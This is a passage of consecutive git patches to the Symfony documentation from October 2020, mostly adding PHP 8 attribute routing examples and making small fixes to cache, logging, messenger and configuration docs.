     COMPOSE_FILE=docker/docker-compose.yaml COMPOSE_PROJECT_NAME=project_name docker-compose up -d
 
-And if you are using the same environment variables with the Symfony CLI, things will work. For instance:
-
-.. code-block:: bash
-
+    # run any Symfony CLI command:
     COMPOSE_FILE=docker/docker-compose.yaml COMPOSE_PROJECT_NAME=project_name symfony var:export
 
-If you have more than one docker-compose files you can provide them all separated by ``:``
-more information here: https://docs.docker.com/compose/reference/envvars/
+.. note::
+
+    If you have more than one docker-compose files you can provide them all
+    separated by ``:``, as explained in the `Docker compose CLI env var reference`_.
 
 SymfonyCloud Integration
 ------------------------
@@ -400,3 +398,4 @@ debug any issues.
 .. _`Proxy settings in macOS`: https://support.apple.com/guide/mac-help/enter-proxy-server-settings-on-mac-mchlp2591/mac
 .. _`Proxy settings in Ubuntu`: https://help.ubuntu.com/stable/ubuntu-help/net-proxy.html.en
 .. _`is treated differently`: https://ec.haxx.se/usingcurl/usingcurl-proxies#http_proxy-in-lower-case-only
+.. _`Docker compose CLI env var reference`: https://docs.docker.com/compose/reference/envvars/

From 79f5dd6eedf3f24726d4bcae2776568c9fb92154 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 11 Oct 2020 10:15:10 +0200
Subject: [PATCH 1300/7107] Added docs about default_lifetime

This will fix #14347
---
 reference/configuration/framework.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f6f11d7bd8f..f79160be10c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2847,9 +2847,14 @@ Can also be the service id of another cache pool where tags will be stored.
 default_lifetime
 """"""""""""""""
 
-**type**: ``integer``
+**type**: ``integer`` | ``string``
 
-Default lifetime of your cache items in seconds.
+Default lifetime of your cache items. Given an integer value to set the default
+lifetime in seconds. A string value could be ISO 8601 time interval, like ``"PT5M"``
+or a PHP date expression that is accepted by ``strtotime()``, like ``"5 minutes"``.
+
+If no value is provided, the cache adapter will fallback to the default value on
+the actual cache storage.
 
 provider
 """"""""

From fa569bd38e82b3babb88b32fb3e1938c6743be36 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 11 Oct 2020 10:49:45 +0200
Subject: [PATCH 1301/7107] Make sure we install FrameworkExtra bundle and not
 just doctrine/annotations

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 9bd09e531cc..60f5c8aa664 100644
--- a/routing.rst
+++ b/routing.rst
@@ -27,7 +27,7 @@ Run this command once in your application to add support for annotations:
 
 .. code-block:: terminal
 
-    $ composer require doctrine/annotations
+    $ composer require annotations
 
 In addition to installing the needed dependencies, this command creates the
 following configuration file:

From eb962cf77f79f1f24791a125176bd4eea6a1cb86 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sun, 11 Oct 2020 12:45:45 +0200
Subject: [PATCH 1302/7107] Typo

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f79160be10c..0e09a21c5cf 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2849,7 +2849,7 @@ default_lifetime
 
 **type**: ``integer`` | ``string``
 
-Default lifetime of your cache items. Given an integer value to set the default
+Default lifetime of your cache items. Give an integer value to set the default
 lifetime in seconds. A string value could be ISO 8601 time interval, like ``"PT5M"``
 or a PHP date expression that is accepted by ``strtotime()``, like ``"5 minutes"``.
 

From 3d01373f664c97ecd52ce11d88fdd10fcc3217af Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sun, 11 Oct 2020 13:11:00 +0200
Subject: [PATCH 1303/7107] [Monolog] Mention the SwitchUserTokenProcessor

---
 logging/processors.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/logging/processors.rst b/logging/processors.rst
index e8ecf96593b..605c571b244 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -171,6 +171,14 @@ Symfony's MonologBridge provides processors that can be registered inside your a
     Adds information from the current user's token to the record namely
     username, roles and whether the user is authenticated.
 
+:class:`Symfony\\Bridge\\Monolog\\Processor\\SwitchUserTokenProcessor`
+    Adds information about the user who is impersonating the logged in user,
+    namely username, roles and whether the user is authenticated.
+
+    .. versionadded:: 5.2
+
+        The ``SwitchUserTokenProcessor`` was introduced in Symfony 5.2.
+
 :class:`Symfony\\Bridge\\Monolog\\Processor\\WebProcessor`
     Overrides data from the request using the data inside Symfony's request
     object.

From 34bacb5488e729fb1d9d88f2e92c80ae10f8d9ff Mon Sep 17 00:00:00 2001
From: tikoutare <bennani.abdeloiahab@gmail.com>
Date: Sun, 4 Oct 2020 22:24:49 +0200
Subject: [PATCH 1304/7107] Update user_provider.rst

Fix provider name `backend_users` instead of `backend`
---
 security/user_provider.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/user_provider.rst b/security/user_provider.rst
index 51a2fea56ed..13e6a8dfb49 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -332,7 +332,7 @@ providers until the user is found:
 
             all_users:
                 chain:
-                    providers: ['legacy_users', 'users', 'backend']
+                    providers: ['legacy_users', 'users', 'backend_users']
 
 .. _custom-user-provider:
 

From 4ca794e0e535f9347e05fb4999a93f179092a6a3 Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Sat, 12 Sep 2020 00:54:28 +0200
Subject: [PATCH 1305/7107] [Routing] Document the Route attribute

---
 _build/conf.py                        |   1 +
 best_practices.rst                    |  11 +-
 contributing/documentation/format.rst |   1 +
 routing.rst                           | 483 +++++++++++++++++++++++---
 4 files changed, 446 insertions(+), 50 deletions(-)

diff --git a/_build/conf.py b/_build/conf.py
index 49cc12581ad..071991c5411 100644
--- a/_build/conf.py
+++ b/_build/conf.py
@@ -111,6 +111,7 @@
 lexers['markdown'] = TextLexer()
 lexers['php'] = PhpLexer(startinline=True)
 lexers['php-annotations'] = PhpLexer(startinline=True)
+lexers['php-attributes'] = PhpLexer(startinline=True)
 lexers['php-standalone'] = PhpLexer(startinline=True)
 lexers['php-symfony'] = PhpLexer(startinline=True)
 lexers['rst'] = RstLexer()
diff --git a/best_practices.rst b/best_practices.rst
index 02434a7c812..f43d4798452 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -223,12 +223,13 @@ important parts of your application.
 
 .. _best-practice-controller-annotations:
 
-Use Annotations to Configure Routing, Caching and Security
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Use Attributes or Annotations to Configure Routing, Caching and Security
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Using annotations for routing, caching and security simplifies configuration.
-You don't need to browse several files created with different formats (YAML, XML,
-PHP): all the configuration is just where you need it and it only uses one format.
+Using attributes or annotations for routing, caching and security simplifies
+configuration. You don't need to browse several files created with different
+formats (YAML, XML, PHP): all the configuration is just where you need it and
+it only uses one format.
 
 Don't Use Annotations to Configure the Controller Template
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index 733e9e6f21f..2c465096f0b 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -104,6 +104,7 @@ Markup Format        Use It to Display
 ``html+php``         PHP code blended with HTML
 ``ini``              INI
 ``php-annotations``  PHP Annotations
+``php-attributes``   PHP Attributes
 ===================  ======================================
 
 Adding Links
diff --git a/routing.rst b/routing.rst
index 214b57574ae..832b5df2c53 100644
--- a/routing.rst
+++ b/routing.rst
@@ -15,22 +15,33 @@ provides other useful features, like generating SEO-friendly URLs (e.g.
 Creating Routes
 ---------------
 
-Routes can be configured in YAML, XML, PHP or using annotations. All formats
-provide the same features and performance, so choose your favorite.
-:ref:`Symfony recommends annotations <best-practice-controller-annotations>`
+Routes can be configured in YAML, XML, PHP or using either attributes or
+annotations. All formats provide the same features and performance, so choose
+your favorite.
+:ref:`Symfony recommends attributes <best-practice-controller-annotations>`
 because it's convenient to put the route and controller in the same place.
 
-Creating Routes as Annotations
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Creating Routes as Attributes or Annotations
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+On PHP 8, you can use native attributes to configure routes right away. On
+PHP 7, where attributes are not available, you can use annotations instead,
+provided by the Doctrine Annotations library.
 
-Run this command once in your application to add support for annotations:
+In case you want to use annotations instead of attributes, run this command
+once in your application to enable them:
 
 .. code-block:: terminal
 
     $ composer require annotations
 
-In addition to installing the needed dependencies, this command creates the
-following configuration file:
+.. versionadded:: 5.2
+
+    The ability to use PHP attributes to configure routes was introduced in
+    Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
+    annotate controller actions with routing configuration.
+
+This command also creates the following configuration file:
 
 .. code-block:: yaml
 
@@ -49,22 +60,43 @@ any PHP class stored in the ``src/Controller/`` directory.
 Suppose you want to define a route for the ``/blog`` URL in your application. To
 do so, create a :doc:`controller class </controller>` like the following::
 
-    // src/Controller/BlogController.php
-    namespace App\Controller;
+.. configuration-block::
 
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\Routing\Annotation\Route;
+    .. code-block:: php-annotations
 
-    class BlogController extends AbstractController
-    {
-        /**
-         * @Route("/blog", name="blog_list")
-         */
-        public function list()
+        // src/Controller/BlogController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class BlogController extends AbstractController
         {
-            // ...
+            /**
+             * @Route("/blog", name="blog_list")
+             */
+            public function list()
+            {
+                // ...
+            }
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class BlogController extends AbstractController
+        {
+            #[Route('/blog', name: 'blog_list')]
+            public function list()
+            {
+                // ...
+            }
         }
-    }
 
 This configuration defines a route called ``blog_list`` that matches when the
 user requests the ``/blog`` URL. When the match occurs, the application runs
@@ -182,6 +214,28 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogApiController.php
+        namespace App\Controller;
+
+        // ...
+
+        class BlogApiController extends AbstractController
+        {
+            #[Route('/api/posts/{id}', methods: ['GET', 'HEAD'])]
+            public function show(int $id)
+            {
+                // ... return a JSON response with the post
+            }
+
+            #[Route('/api/posts/{id}', methods: ['PUT'])]
+            public function edit(int $id)
+            {
+                // ... edit a post
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -274,6 +328,29 @@ arbitrary matching logic:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/DefaultController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class DefaultController extends AbstractController
+        {
+            #[Route(
+                '/contact',
+                name: 'contact',
+                condition: "context.getMethod() in ['GET', 'HEAD'] and request.headers.get('User-Agent') matches '/firefox/i'",
+            )]
+            // expressions can also include config parameters:
+            // condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
+            public function contact()
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -424,6 +501,28 @@ defined as ``/blog/{slug}``:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class BlogController extends AbstractController
+        {
+            // ...
+
+            #[Route('/blog/{slug}', name: 'blog_show')]
+            public function show(string $slug)
+            {
+                // $slug will equal the dynamic part of the URL
+                // e.g. at /blog/yay-routing, then $slug='yay-routing'
+
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -507,6 +606,29 @@ the ``{page}`` parameter using the ``requirements`` option:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class BlogController extends AbstractController
+        {
+            #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => '\d+'])]
+            public function list(int $page)
+            {
+                // ...
+            }
+
+            #[Route('/blog/{slug}', name: 'blog_show')]
+            public function show($slug)
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -610,6 +732,23 @@ concise, but it can decrease route readability when requirements are complex:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class BlogController extends AbstractController
+        {
+            #[Route('/blog/{page<\d+>}', name: 'blog_list')]
+            public function list(int $page)
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -678,6 +817,23 @@ other configuration formats they are defined with the ``defaults`` option:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class BlogController extends AbstractController
+        {
+            #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => '\d+'])]
+            public function list(int $page = 1)
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -764,6 +920,23 @@ parameter:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class BlogController extends AbstractController
+        {
+            #[Route('/blog/{page<\d+>?1}', name: 'blog_list')]
+            public function list(int $page)
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -816,36 +989,67 @@ matched.
 A ``priority`` optional parameter is available in order to let you choose the
 order of your routes, and it is only available when using annotations.
 
-.. code-block:: php-annotations
+.. configuration-block::
 
-    // src/Controller/BlogController.php
-    namespace App\Controller;
+    .. code-block:: php-annotations
 
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\Routing\Annotation\Route;
+        // src/Controller/BlogController.php
+        namespace App\Controller;
 
-    class BlogController extends AbstractController
-    {
-        /**
-         * This route has a greedy pattern and is defined first.
-         *
-         * @Route("/blog/{slug}", name="blog_show")
-         */
-        public function show(string $slug)
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class BlogController extends AbstractController
         {
-            // ...
+            /**
+             * This route has a greedy pattern and is defined first.
+             *
+             * @Route("/blog/{slug}", name="blog_show")
+             */
+            public function show(string $slug)
+            {
+                // ...
+            }
+
+            /**
+             * This route could not be matched without defining a higher priority than 0.
+             *
+             * @Route("/blog/list", name="blog_list", priority=2)
+             */
+            public function list()
+            {
+                // ...
+            }
         }
 
-        /**
-         * This route could not be matched without defining a higher priority than 0.
-         *
-         * @Route("/blog/list", name="blog_list", priority=2)
-         */
-        public function list()
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class BlogController extends AbstractController
         {
-            // ...
+            /**
+             * This route has a greedy pattern and is defined first.
+             */
+            #[Route('/blog/{slug}', name: 'blog_show')]
+            public function show(string $slug)
+            {
+                // ...
+            }
+
+            /**
+             * This route could not be matched without defining a higher priority than 0.
+             */
+            #[Route('/blog/list', name: 'blog_list', priority: 2)]
+            public function list()
+            {
+                // ...
+            }
         }
-    }
 
 The priority parameter expects an integer value. Routes with higher priority
 are sorted before routes with lower priority. The default value when it is not
@@ -955,6 +1159,28 @@ and in route imports. Symfony defines some special attributes with the same name
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/ArticleController.php
+        namespace App\Controller;
+
+        // ...
+        class ArticleController extends AbstractController
+        {
+            #[Route(
+                path: '/articles/{_locale}/search.{_format}',
+                locale: 'en',
+                format: 'html',
+                requirements: [
+                    '_locale' => 'en|fr',
+                    '_format' => 'html|xml',
+                ],
+            )]
+            public function search()
+            {
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -1034,6 +1260,22 @@ the controllers of the routes:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogController.php
+        namespace App\Controller;
+
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class BlogController
+        {
+            #[Route('/blog/{page}', name: 'blog_index', defaults: ['page' => 1, 'title' => 'Hello world!'])]
+            public function index(int $page, string $title)
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -1107,6 +1349,22 @@ A possible solution is to change the parameter requirements to be more permissiv
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/DefaultController.php
+        namespace App\Controller;
+
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class DefaultController
+        {
+            #[Route('/share/{token}', name: 'share', requirements: ['token' => '.+'])]
+            public function share($token)
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -1171,9 +1429,10 @@ It's common for a group of routes to share some options (e.g. all routes related
 to the blog start with ``/blog``) That's why Symfony includes a feature to share
 route configuration.
 
-When defining routes as annotations, put the common configuration in the
-``@Route`` annotation of the controller class. In other routing formats, define
-the common configuration using options when importing the routes.
+When defining routes as attributes or annotations, put the common configuration
+in the ``#[Route]`` attribute (or ``@Route`` annotation) of the controller
+class. In other routing formats, define the common configuration using options
+when importing the routes.
 
 .. configuration-block::
 
@@ -1206,6 +1465,29 @@ the common configuration using options when importing the routes.
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/BlogController.php
+        namespace App\Controller;
+
+        use Symfony\Component\Routing\Annotation\Route;
+
+        #[Route('/blog', requirements: ['_locale' => 'en|es|fr'], name: 'blog_')]
+        class BlogController
+        {
+            #[Route('/{_locale}', name: 'index')]
+            public function index()
+            {
+                // ...
+            }
+
+            #[Route('/{_locale}/posts/{slug}', name: 'show')]
+            public function show(Post $post)
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes/annotations.yaml
@@ -1515,6 +1797,29 @@ host name:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/MainController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class MainController extends AbstractController
+        {
+            #[Route('/', name: 'mobile_homepage', host: 'm.example.com')]
+            public function mobileHomepage()
+            {
+                // ...
+            }
+
+            #[Route('/', name: 'homepage')]
+            public function homepage()
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -1600,6 +1905,35 @@ multi-tenant applications) and these parameters can be validated too with
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/MainController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class MainController extends AbstractController
+        {
+            #[Route(
+                '/',
+                name: 'mobile_homepage',
+                host: '{subdomain}.example.com',
+                defaults: ['subdomain' => 'm'],
+                requirements: ['subdomain' => 'm|mobile'],
+            )]
+            public function mobileHomepage()
+            {
+                // ...
+            }
+
+            #[Route('/', name: 'homepage')]
+            public function homepage()
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -1715,6 +2049,26 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/CompanyController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class CompanyController extends AbstractController
+        {
+            #[Route(path: [
+                'en' => '/about-us',
+                'nl' => '/over-ons'
+            ], name: 'about_us')]
+            public function about()
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -1754,6 +2108,11 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
             ;
         };
 
+.. note::
+
+    When using PHP attributes for localized routes, you have to use the `path`
+    named parameter to specify the array of paths.
+
 When a localized route is matched, Symfony uses the same locale automatically
 during the entire request.
 
@@ -1849,6 +2208,23 @@ session shouldn't be used when matching a request:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/MainController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class MainController extends AbstractController
+        {
+            #[Route('/', name: 'homepage', stateless: true)]
+            public function homepage()
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -2224,6 +2600,23 @@ each route explicitly:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            #[Route('/login', name: 'login', schemes: ['https'])]
+            public function login()
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml

From 8eccfeaa8192932bce9ecdbd607bad7c44d696e2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 Oct 2020 13:31:43 +0200
Subject: [PATCH 1306/7107] [RateLimiter] Minor fixes

---
 rate_limiter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 358a1d62c00..f7112373ff3 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -119,7 +119,7 @@ the number of requests to the API::
 
             // the argument of consume() is the number of tokens to consume
             // and returns an object of type Limit
-            if (false === $anonymous_api_limiter->consume(1)->isAccepted()) {
+            if (false === $limiter->consume(1)->isAccepted()) {
                 throw new TooManyRequestsHttpException();
             }
 

From a8448a78ec082ec8fcc76be70ba316647b68c6db Mon Sep 17 00:00:00 2001
From: Christiaan Baartse <anotherhero@gmail.com>
Date: Tue, 13 Oct 2020 08:55:34 +0200
Subject: [PATCH 1307/7107] Do not promote deprecated message_bus service use

The message_bus service is deprecated and messenger.default_bus should be used instead.
---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 7a4a9afccc2..e68234be838 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -83,7 +83,7 @@ Dispatching the Message
 -----------------------
 
 You're ready! To dispatch the message (and call the handler), inject the
-``message_bus`` service (via the ``MessageBusInterface``), like in a controller::
+``messenger.default_bus`` service (via the ``MessageBusInterface``), like in a controller::
 
     // src/Controller/DefaultController.php
     namespace App\Controller;

From 77625191c5c1f558a0ea7e3cfdb4ccb9381d758c Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Tue, 13 Oct 2020 10:57:06 +0200
Subject: [PATCH 1308/7107] fix markup

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 832b5df2c53..e8107a51eaf 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2110,7 +2110,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
 
 .. note::
 
-    When using PHP attributes for localized routes, you have to use the `path`
+    When using PHP attributes for localized routes, you have to use the ``path``
     named parameter to specify the array of paths.
 
 When a localized route is matched, Symfony uses the same locale automatically

From 87d67189f54f8ca2b829906ee90d7c72f39236fa Mon Sep 17 00:00:00 2001
From: Lubo Grozdanov <grozdanov.lubo@gmail.com>
Date: Tue, 13 Oct 2020 15:20:17 +0300
Subject: [PATCH 1309/7107] Wrong services path and addition
 services_environment-name

---
 configuration.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 8ab1d99dceb..9e17b2f2f08 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -387,7 +387,8 @@ set in the previous ones):
 
 #. ``config/packages/*.yaml`` (and ``*.xml`` and ``*.php`` files too);
 #. ``config/packages/<environment-name>/*.yaml`` (and ``*.xml`` and ``*.php`` files too);
-#. ``config/packages/services.yaml`` (and ``services.xml`` and ``services.php`` files too);
+#. ``config/services.yaml`` (and ``services.xml`` and ``services.php`` files too);
+#. ``config/services_<environment-name>.yaml`` (and ``services_environment-name.xml`` and ``services_environment-name.php`` files too);
 
 Take the ``framework`` package, installed by default, as an example:
 

From 7a89d40780f775277a188aded3dc6c2afc88a4ec Mon Sep 17 00:00:00 2001
From: Simon Rolland <simon@olybe.com>
Date: Tue, 13 Oct 2020 15:01:05 +0200
Subject: [PATCH 1310/7107] Update ICU project doc website

---
 reference/forms/types/datetime.rst                | 2 +-
 reference/forms/types/options/date_format.rst.inc | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index 3bafb96c57f..f5424d49cd0 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -222,4 +222,4 @@ Field Variables
 +--------------+------------+----------------------------------------------------------------------+
 
 .. _`datetime local`: http://w3c.github.io/html-reference/datatypes.html#form.data.datetime-local
-.. _`Date/Time Format Syntax`: http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax
+.. _`Date/Time Format Syntax`: https://unicode-org.github.io/icu/userguide/format_parse/datetime/#datetime-format-syntax
diff --git a/reference/forms/types/options/date_format.rst.inc b/reference/forms/types/options/date_format.rst.inc
index c7874b505bd..7a6501a6fd9 100644
--- a/reference/forms/types/options/date_format.rst.inc
+++ b/reference/forms/types/options/date_format.rst.inc
@@ -29,6 +29,6 @@ For more information on valid formats, see `Date/Time Format Syntax`_::
     (the `RFC 3339`_ format) which is the default value if you use the
     ``single_text`` widget.
 
-.. _`Date/Time Format Syntax`: http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax
+.. _`Date/Time Format Syntax`: https://unicode-org.github.io/icu/userguide/format_parse/datetime/#datetime-format-syntax
 .. _`IntlDateFormatter::MEDIUM`: https://php.net/manual/en/class.intldateformatter.php#intl.intldateformatter-constants
 .. _`RFC 3339`: https://tools.ietf.org/html/rfc3339

From cb0c5260c3f8f04a3e24762541588cfc15b99de9 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 13 Oct 2020 17:37:06 +0200
Subject: [PATCH 1311/7107] Remove Michelle from the CARE team

---
 contributing/code_of_conduct/care_team.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index ae342b89999..8f32d5befd1 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -29,12 +29,6 @@ of them at once by emailing **care@symfony.com**:
   * *Twitter*: `@EmilieLorenzo <https://twitter.com/EmilieLorenzo>`_
   * *SymfonyConnect*: `emilielorenzo <https://connect.symfony.com/profile/emilielorenzo>`_
 
-* **Michelle Sanver**
-
-  * *E-mail*: michelle [at] liip.ch
-  * *Twitter*: `@michellesanver <https://twitter.com/michellesanver>`_
-  * *SymfonyConnect*: `michellesanver <https://connect.symfony.com/profile/michellesanver>`_
-
 * **Tobias Nyholm**
 
   * *E-mail*: tobias.nyholm [at] gmail.com

From 9dd75a90d0ea067eadae91b8844ec44dcfcbb1ee Mon Sep 17 00:00:00 2001
From: Hamza Amrouche <laharl.moon@gmail.com>
Date: Tue, 10 Mar 2020 17:01:41 +0100
Subject: [PATCH 1312/7107] feat: add amazon sqs to docs

---
 messenger.rst | 29 +++++++++++++++++++++++++++++
 1 file changed, 29 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 6107fcec87b..e22e2f02e21 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1151,6 +1151,35 @@ during a request::
         :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\KernelTestCase`
         or :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`.
 
+Amazon SQS
+~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    The Amazon SQS transport has been added in Symfony 5.1
+    Install it by running:
+
+    .. code-block:: terminal
+
+        $ composer require symfony/amazon-sqs-messenger
+
+The ``SQS`` transport configuration looks like this:
+
+.. code-block:: bash
+
+    # .env
+    MESSENGER_TRANSPORT_DSN=sqs://guest:guest@sqs.eu-west-3.amazonaws.com/test?region=eu-west-3
+
+
+.. note::
+
+    By default, the transport will automatically create queue that are needed. That can be disabled.
+    
